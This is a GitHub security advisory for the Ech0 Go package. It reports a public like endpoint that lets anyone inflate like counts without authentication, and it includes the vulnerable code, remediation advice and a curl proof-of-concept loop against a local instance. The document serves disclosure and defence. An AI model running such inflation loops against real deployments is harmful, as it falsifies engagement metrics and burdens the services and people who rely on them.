Skip to content

Ech0's Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation

Moderate severity GitHub Reviewed Published May 3, 2026 in lin-snow/Ech0

Package

gomod github.com/lin-snow/ech0 (Go)

Affected versions

< 1.4.8-0.20260503040728-a7e8b8e84bd1

Patched versions

1.4.8-0.20260503040728-a7e8b8e84bd1

Description

Summary

No authentication is required to invoke PUT /api/echo/like/:id. The handler is registered on the public router group. The service increments fav_count for the given echo without checking identity, without a per-user limit, and without CSRF tokens. A remote client can arbitrarily inflate like metrics with repeated requests.

Description

Root cause: The like endpoint is explicitly public (PublicRouterGroup). LikeEcho in the service layer only runs a repository increment inside a transaction—no viewer/user binding.

Security boundary that fails: Integrity of engagement metrics (likes) and any trust that “likes” represent distinct or authenticated users.

Exploitation: Discover or guess a public echo UUID (timeline, API, share link) → send unauthenticated PUT repeatedly → fav_count increases linearly.

Affected files

| Public route registration | internal/router/echo.go |
| Like mutation (no auth check) | internal/service/echo/echo.go |
| Handler | internal/handler/echo/echo.go |

Vulnerable / relevant code

Public PUT route:

	// Public
	appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho())
	appRouterGroup.PublicRouterGroup.GET("/tags", h.EchoHandler.GetAllTags())

Service does not use viewer / rate limit:

func (echoService *EchoService) LikeEcho(ctx context.Context, id string) error {
	return echoService.transactor.Run(ctx, func(txCtx context.Context) error {
		return echoService.echoRepository.LikeEcho(txCtx, id)
	})
}

Execution flow

  1. Client resolves ECHO_ID (e.g. GET /api/echo/page with any valid token, or from UI).
  2. Client sends PUT /api/echo/like/{ECHO_ID} with no Authorization header.
  3. Gin matches public route → handler → EchoService.LikeEcho → DB increments fav_count.
  4. Repeat N times → count increases by N.

Proof of concept

BASE="http://127.0.0.1:6277"

OWNER_TOKEN=$(curl -sS -X POST "$BASE/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"owner","password":"OwnerPass123"}' | jq -r '.data')

ECHO_ID=$(curl -sS "$BASE/api/echo/page?page=1&page_size=1" \
  -H "Authorization: Bearer $OWNER_TOKEN" | jq -r '.data.items[0].id')

# Single unauthenticated like
curl -sS -w "\nHTTP:%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID"

# Inflate (e.g. 55 times); expect HTTP 200 each time
for i in $(seq 1 55); do
  curl -sS -o /dev/null -w "%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID"
done

# Observe fav_count
curl -sS "$BASE/api/echo/$ECHO_ID" | jq '.data | {id, fav_count}'

Observed proof (manual test):

  • Each unauthenticated PUT returned HTTP 200 with success JSON (e.g. 点赞Echo成功, code:1).
  • fav_count increased to 113 , demonstrating linear inflation from one client with no authentication.

Screenshot 2026-04-01 105522

Impact

Like counts and ranking/social proof can be falsified; feeds or “popular” logic tied to fav_count are untrustworthy.
high-volume loops add DB write load; possible abuse against availability at scale.

Attacker capability: Anyone on the network can manipulate public engagement metrics for any known echo id. Combined with permissive CORS browsers could automate cross-origin requests.

Remediation

Require authentication for likes and enforce one like per principal, or keep anonymous likes but add rate limiting, proof-of-work / captcha, or signed tokens tied to anon sessions; document that counts are not auditor-grade metrics.

References

@lin-snow lin-snow published to lin-snow/Ech0 May 3, 2026
Published to the GitHub Advisory Database May 7, 2026
Reviewed May 7, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

EPSS score

Weaknesses

Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. Learn more on MITRE.

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-rgj7-vg8v-j4wr

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.